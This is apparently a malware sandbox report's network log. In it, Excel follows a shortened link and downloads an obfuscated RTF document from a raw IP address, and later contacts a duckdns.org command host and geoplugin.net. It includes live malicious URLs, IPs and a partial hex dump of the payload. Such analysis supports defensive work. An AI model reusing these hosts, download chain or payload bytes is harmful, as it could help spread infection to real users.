                            Jul 26, 2024 13:16:36.135777950 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.135795116 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.135816097 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.135890961 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.135905981 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.135921955 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.135937929 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.135943890 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.135953903 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.135970116 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.135984898 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.135988951 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.136010885 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136027098 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136042118 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136049032 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.136059999 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136075974 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136090994 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136097908 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.136107922 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136148930 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.136676073 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136703014 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136718035 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136755943 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.136790037 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136806011 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136852980 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136868000 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136883974 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136892080 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.136904001 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136919022 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136935949 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.136941910 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.137041092 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137058020 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137073994 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137083054 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.137089968 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137105942 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137111902 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.137121916 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137137890 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137156963 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.137187004 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137202024 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137217045 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137253046 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.137284040 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137299061 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137314081 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137330055 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137336969 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.137356043 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137372017 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137393951 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.137763977 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137790918 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137805939 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.137834072 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.137840986 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.138573885 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.138590097 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.138605118 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.138622999 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.138653994 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.138782978 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.138797998 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.138835907 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.138951063 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.138966084 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.138981104 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.138999939 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139007092 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139022112 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139038086 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139048100 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139054060 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139070034 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139079094 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139085054 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139101982 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139106989 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139117956 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139133930 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139157057 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139158010 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139174938 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139190912 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139206886 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139213085 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139224052 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139249086 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139262915 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139273882 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139280081 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139314890 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139544010 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139558077 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139575005 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139611006 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139739990 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139755011 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139769077 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139784098 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139790058 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139815092 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139817953 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139838934 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139839888 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139856100 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139870882 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139887094 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139893055 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139903069 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139918089 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139934063 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139940023 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.139950991 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139966011 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139983892 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.139987946 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.140002012 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.140017033 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.140033007 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.140038013 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.140048981 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.140064955 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.140079021 CEST8049170192.3.176.154192.168.2.22
                            Jul 26, 2024 13:16:36.140086889 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.140188932 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:36.241839886 CEST4916980192.168.2.22198.46.176.133
                            Jul 26, 2024 13:16:36.241878033 CEST4917080192.168.2.22192.3.176.154
                            Jul 26, 2024 13:16:38.528414965 CEST4917114645192.168.2.22192.210.214.9
                            Jul 26, 2024 13:16:38.534982920 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:38.536448956 CEST4917114645192.168.2.22192.210.214.9
                            Jul 26, 2024 13:16:38.543402910 CEST4917114645192.168.2.22192.210.214.9
                            Jul 26, 2024 13:16:38.548962116 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:39.072174072 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:39.282032013 CEST4917114645192.168.2.22192.210.214.9
                            Jul 26, 2024 13:16:39.431365967 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:39.432595015 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:39.433218002 CEST4917114645192.168.2.22192.210.214.9
                            Jul 26, 2024 13:16:39.434938908 CEST4917114645192.168.2.22192.210.214.9
                            Jul 26, 2024 13:16:39.441600084 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:39.443078995 CEST4917114645192.168.2.22192.210.214.9
                            Jul 26, 2024 13:16:39.447989941 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:40.050662994 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:40.052908897 CEST4917114645192.168.2.22192.210.214.9
                            Jul 26, 2024 13:16:40.358304977 CEST4917114645192.168.2.22192.210.214.9
                            Jul 26, 2024 13:16:40.374475956 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:40.380139112 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:40.382529974 CEST4917114645192.168.2.22192.210.214.9
                            Jul 26, 2024 13:16:40.400789022 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:40.400821924 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:40.432255983 CEST4917280192.168.2.22178.237.33.50
                            Jul 26, 2024 13:16:40.437138081 CEST8049172178.237.33.50192.168.2.22
                            Jul 26, 2024 13:16:40.437536955 CEST4917280192.168.2.22178.237.33.50
                            Jul 26, 2024 13:16:40.437768936 CEST4917280192.168.2.22178.237.33.50
                            Jul 26, 2024 13:16:40.444551945 CEST8049172178.237.33.50192.168.2.22
                            Jul 26, 2024 13:16:41.061489105 CEST8049172178.237.33.50192.168.2.22
                            Jul 26, 2024 13:16:41.061593056 CEST4917280192.168.2.22178.237.33.50
                            Jul 26, 2024 13:16:41.067507982 CEST4917114645192.168.2.22192.210.214.9
                            Jul 26, 2024 13:16:41.072438955 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:16:42.060720921 CEST8049172178.237.33.50192.168.2.22
                            Jul 26, 2024 13:16:42.060813904 CEST4917280192.168.2.22178.237.33.50
                            Jul 26, 2024 13:17:06.489988089 CEST1464549171192.210.214.9192.168.2.22
                            Jul 26, 2024 13:17:06.492038012 CEST4917114645192.168.2.22192.210.214.9
                            Jul 26, 2024 13:17:06.497927904 CEST1464549171192.210.214.9192.168.2.22

                            UDP Packets

                            TimestampSource PortDest PortSource IPDest IP
                            Jul 26, 2024 13:16:15.159094095 CEST5456253192.168.2.228.8.8.8
                            Jul 26, 2024 13:16:15.192157984 CEST53545628.8.8.8192.168.2.22
                            Jul 26, 2024 13:16:17.743170023 CEST5291753192.168.2.228.8.8.8
                            Jul 26, 2024 13:16:17.761264086 CEST53529178.8.8.8192.168.2.22
                            Jul 26, 2024 13:16:22.071263075 CEST6275153192.168.2.228.8.8.8
                            Jul 26, 2024 13:16:22.115609884 CEST53627518.8.8.8192.168.2.22
                            Jul 26, 2024 13:16:22.117824078 CEST5789353192.168.2.228.8.8.8
                            Jul 26, 2024 13:16:22.127734900 CEST53578938.8.8.8192.168.2.22
                            Jul 26, 2024 13:16:26.212312937 CEST5482153192.168.2.228.8.8.8
                            Jul 26, 2024 13:16:26.219862938 CEST53548218.8.8.8192.168.2.22
                            Jul 26, 2024 13:16:26.220988035 CEST5471953192.168.2.228.8.8.8
                            Jul 26, 2024 13:16:26.234085083 CEST53547198.8.8.8192.168.2.22
                            Jul 26, 2024 13:16:36.421773911 CEST4988153192.168.2.228.8.8.8
                            Jul 26, 2024 13:16:37.426244020 CEST4988153192.168.2.228.8.8.8
                            Jul 26, 2024 13:16:38.439584970 CEST4988153192.168.2.228.8.8.8
                            Jul 26, 2024 13:16:38.525455952 CEST53498818.8.8.8192.168.2.22
                            Jul 26, 2024 13:16:38.536410093 CEST53498818.8.8.8192.168.2.22
                            Jul 26, 2024 13:16:39.528876066 CEST53498818.8.8.8192.168.2.22
                            Jul 26, 2024 13:16:40.412210941 CEST5499853192.168.2.228.8.8.8
                            Jul 26, 2024 13:16:40.428558111 CEST53549988.8.8.8192.168.2.22

                            ICMP Packets

                            TimestampSource IPDest IPChecksumCodeType
                            Jul 26, 2024 13:16:38.536494970 CEST192.168.2.228.8.8.8d01d(Port unreachable)Destination Unreachable
                            Jul 26, 2024 13:16:39.529086113 CEST192.168.2.228.8.8.8d01d(Port unreachable)Destination Unreachable

                            DNS Queries

                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                            Jul 26, 2024 13:16:15.159094095 CEST192.168.2.228.8.8.80xd201Standard query (0)tny.wtfA (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:17.743170023 CEST192.168.2.228.8.8.80x6c5eStandard query (0)tny.wtfA (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:22.071263075 CEST192.168.2.228.8.8.80xd89aStandard query (0)tny.wtfA (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:22.117824078 CEST192.168.2.228.8.8.80xd769Standard query (0)tny.wtfA (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:26.212312937 CEST192.168.2.228.8.8.80x1100Standard query (0)tny.wtfA (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:26.220988035 CEST192.168.2.228.8.8.80x2664Standard query (0)tny.wtfA (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:36.421773911 CEST192.168.2.228.8.8.80xccc7Standard query (0)2024remcmon.duckdns.orgA (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:37.426244020 CEST192.168.2.228.8.8.80xccc7Standard query (0)2024remcmon.duckdns.orgA (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:38.439584970 CEST192.168.2.228.8.8.80xccc7Standard query (0)2024remcmon.duckdns.orgA (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:40.412210941 CEST192.168.2.228.8.8.80xe17Standard query (0)geoplugin.netA (IP address)IN (0x0001)false

                            DNS Answers

                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                            Jul 26, 2024 13:16:15.192157984 CEST8.8.8.8192.168.2.220xd201No error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:15.192157984 CEST8.8.8.8192.168.2.220xd201No error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:17.761264086 CEST8.8.8.8192.168.2.220x6c5eNo error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:17.761264086 CEST8.8.8.8192.168.2.220x6c5eNo error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:22.115609884 CEST8.8.8.8192.168.2.220xd89aNo error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:22.115609884 CEST8.8.8.8192.168.2.220xd89aNo error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:22.127734900 CEST8.8.8.8192.168.2.220xd769No error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:22.127734900 CEST8.8.8.8192.168.2.220xd769No error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:26.219862938 CEST8.8.8.8192.168.2.220x1100No error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:26.219862938 CEST8.8.8.8192.168.2.220x1100No error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:26.234085083 CEST8.8.8.8192.168.2.220x2664No error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:26.234085083 CEST8.8.8.8192.168.2.220x2664No error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:38.525455952 CEST8.8.8.8192.168.2.220xccc7No error (0)2024remcmon.duckdns.org192.210.214.9A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:38.536410093 CEST8.8.8.8192.168.2.220xccc7No error (0)2024remcmon.duckdns.org192.210.214.9A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:39.528876066 CEST8.8.8.8192.168.2.220xccc7No error (0)2024remcmon.duckdns.org192.210.214.9A (IP address)IN (0x0001)false
                            Jul 26, 2024 13:16:40.428558111 CEST8.8.8.8192.168.2.220xe17No error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false

                            HTTP Request Dependency Graph

                            • tny.wtf
                            • 192.3.176.154
                            • 198.46.176.133
                            • geoplugin.net

                            HTTP Packets

                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            0192.168.2.2249163188.114.97.3802872C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 13:16:15.213987112 CEST319OUTGET /c8lH8 HTTP/1.1
                            Accept: */*
                            UA-CPU: AMD64
                            Accept-Encoding: gzip, deflate
                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                            Host: tny.wtf
                            Connection: Keep-Alive
                            Jul 26, 2024 13:16:16.341285944 CEST733INHTTP/1.1 302 Found
                            Date: Fri, 26 Jul 2024 11:16:16 GMT
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Location: http://192.3.176.154/xampp/glo/gl/funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd.doc
                            X-Powered-By: ASP.NET
                            CF-Cache-Status: DYNAMIC
                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kD%2ByTvllQSEmzmIF6bT%2BhQrSJFsh%2BBLvd035G5COX33os40tPU8jsHmP1K2xU2p12iLoOcamj3yQn7KeTBBmPTQ8q7go1mnYf%2FJYpnJUCteMnZg1j46082Cr"}],"group":"cf-nel","max_age":604800}
                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                            Server: cloudflare
                            CF-RAY: 8a93f9fdb9fd4364-EWR
                            alt-svc: h3=":443"; ma=86400
                            Data Raw: 30 0d 0a 0d 0a
                            Data Ascii: 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            1192.168.2.2249164192.3.176.154802872C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 13:16:16.355165958 CEST462OUTGET /xampp/glo/gl/funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd.doc HTTP/1.1
                            Accept: */*
                            UA-CPU: AMD64
                            Accept-Encoding: gzip, deflate
                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                            Host: 192.3.176.154
                            Connection: Keep-Alive
                            Jul 26, 2024 13:16:16.885679007 CEST1236INHTTP/1.1 200 OK
                            Date: Fri, 26 Jul 2024 11:16:16 GMT
                            Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                            Last-Modified: Fri, 26 Jul 2024 01:27:30 GMT
                            ETag: "17181-61e1c6a3a6228"
                            Accept-Ranges: bytes
                            Content-Length: 94593
                            Keep-Alive: timeout=5, max=100
                            Connection: Keep-Alive
                            Content-Type: application/msword
                            Data Raw: 7b 5c 72 74 66 31 0d 0d 0d 09 09 09 09 09 09 09 7b 5c 2a 5c 6c 69 73 74 74 61 62 6c 65 31 36 35 37 37 39 37 30 35 20 5c 5f 7d 0d 7b 5c 33 39 38 32 35 33 34 33 36 a7 2e 25 3c 23 2b 32 b0 3f 31 21 40 21 21 7c 7c 33 3c 3f 60 2b 2d 34 30 3f 24 5f 2a 3f b5 5b 27 5e b5 2a 36 3e 40 38 28 3f 3e 3a 36 3f 23 32 2b 2b 3d 25 5d 3e a7 24 b0 26 3c 60 2c b5 38 25 b0 3f 60 3d 3b 7e 39 2f 5f 25 2b 32 7e 3f 5d 23 34 b0 3e 2a b0 3f 27 3c 3f 2a 35 7c 21 5f a7 3f 31 33 3d 3e 2b 25 60 2f 30 3f 7e 33 2b 3c 3c 34 33 3c 31 3e 3f 7c 25 3f 32 37 2e 34 3f 7c 32 37 5b 28 3f 32 25 3b 23 30 28 39 33 36 3f 25 7e 36 39 26 7c a7 3f 5e 3b 3d b5 3d 34 3b 37 5f 3f 60 25 26 23 23 3a 5b 32 30 5e 5e 3d 28 23 3c 29 3f 2b 3f 31 24 2b 21 5e 3f 39 2c 30 3d 24 21 2d 32 38 5f 23 3f 3f 33 3f 26 25 33 2b 23 30 21 60 2e 3f a7 3f 3f 5e 2a 40 5f 3d 25 3e 30 3d 5d b0 23 3f b5 3d 34 26 3e 29 a7 36 21 3f 29 2c 5b a7 26 3f 29 21 3e 2d b0 25 3f 3f b0 3f 3f 37 38 5f 28 30 b5 2e 3b 27 2b 7c 2a b0 3d 5f 35 3f 5f 31 27 23 2c 32 b5 39 3f 2b 2f 3e 37 32 2c 3d [TRUNCATED]
                            Data Ascii: {\rtf1{\*\listtable165779705 \_}{\398253436.%<#+2?1!@!!||3<?`+-40?$_*?['^*6>@8(?>:6?#2++=%]>$&<`,8%?`=;~9/_%+2~?]#4>*?'<?*5|!_?13=>+%`/0?~3+<<43<1>?|%?27.4?|27[(?2%;#0(936?%~69&|?^;==4;7_?`%&##:[20^^=(#<)?+?1$+!^?9,0=$!-28_#??3?&%3+#0!`.???^*@_=%>0=]#?=4&>)6!?),[&?)!>-%????78_(0.;'+|*=_5?_1'#,29?+/>72,=)17]%@-><2=@0]%/^!#!&=?+$*%`0*7*#0%4`*|#0&_%#)$>$'<1?.3_,#?.[?/<?(1[(?3?&5_'<###?1~$)-2<~#*4'|208;|+!9(+'67*.%5%/=,51|@8,+-%-|$[>;1:5??5[?606(?]4$[|=0%]^8.-%'.1$<_.(<;^,1$,((3|-[~-?(%+2'?$(%$?5=099-?=9%?6?+3@=??;_2>.0`-?]2:$$$|<)9%,^;:?~?((.'<7[??1@)|6.~?%%*$%|_(<?_]?35323%6$4<7.?!?~<?<[<'|`].`~#??1+?52,7<|[6!)#$>@8[+&&<;%)1$.>&?(?+<|,.!(6*$?!_[0)#_=<'0^.'6*??$9>,?&|?>)<'->`|4^[&9_.|:^?!,_'-6^+_%89:=~,'4@0!$*8:_^><%:?$|]%_[[`*)>%5)]4?>!`6&+|$/?!,8,9-%@!^/05`4?-;19;'44)-@?0,%?7|9???6`>%?6?:%_8|*0>8*.*[/?>)::/*3?[-?+$5?0(?*)
                            Jul 26, 2024 13:16:16.885713100 CEST1236INData Raw: 34 30 2b 3e b0 3c 26 30 30 40 38 5d 3c 2c 24 5d 3a 2b 3d 3d 24 25 3c 3b 25 2d 23 5f b0 3b 35 b0 30 3b 28 3f b5 3f 2d 40 25 33 27 3f 7c 5e 3f 28 24 28 5d 2e 2f a7 24 2a 2e 3f 24 5d 25 2f 60 b5 36 27 28 3b 5b 31 35 3f 39 3b b5 29 b0 32 26 5e b5 25
                            Data Ascii: 40+><&00@8]<,$]:+==$%<;%-#_;50;(??-@%3'?|^?($(]./$*.?$]%/`6'(;[15?9;)2&^%8|,?;?[=:??%&0*?~=[?+@?0?0<<(^(9`@@&,(&._?85<6,4)1?=(|&?1,]24?+0:@??|:!~?%#.%&;0(2,?0|`]%[?/@`~7'.~_'@#`&.~<'!?6!]7!?3]5?`8_?7.$&?8(&??-=^@90<?&[*,(5@[,`&?1
                            Jul 26, 2024 13:16:16.885730028 CEST1236INData Raw: 38 2e 27 b0 2d 28 a7 5d 2a 3f 2c 37 5b 3d a7 25 27 28 33 2d 35 3e 3c 3c 34 3f 36 38 2c 3f 21 28 60 a7 3f 3f 21 5b 5d 7c b0 7e 21 7e 26 b5 3c 21 32 21 3c 27 30 5d 24 38 3f 37 25 3c 24 3f b0 29 60 33 3b 5d 5b a7 40 7c b0 3f 33 3f 3c 3f 21 28 3f 21
                            Data Ascii: 8.'-(]*?,7[=%'(3-5><<4?68,?!(`??![]|~!~&<!2!<'0]$8?7%<$?)`3;][@|?3?<?!(?!'(`>59-_+^%]]-8<6>:%&!?_78_(8`!_%0|^^*%2_0432%~;:6~)85#$?%;.5+1??`*@95$5]^?0-('~35/8!$-9!5:3,+2%.%7,?86;20:$4?.~`;|.^+&91~~6~7$.)_=<335%=6-<':86$(7*-6?]/
                            Jul 26, 2024 13:16:16.886085033 CEST1236INData Raw: 28 35 26 34 34 2d 5d 32 5e 3e 38 7e 5f 32 26 2c 29 35 21 37 3f 33 a7 36 3f 7e 3e 7c 3f 26 5d 3a 60 32 a7 3e 25 38 33 7c 25 5f 7c 2b 21 2a 35 7e b5 29 39 33 7e 36 25 30 3f 2c 3f 34 3f 34 3e 60 27 38 60 35 31 27 3b 27 b0 3f 2b 7c 28 7c 38 7e 26 24
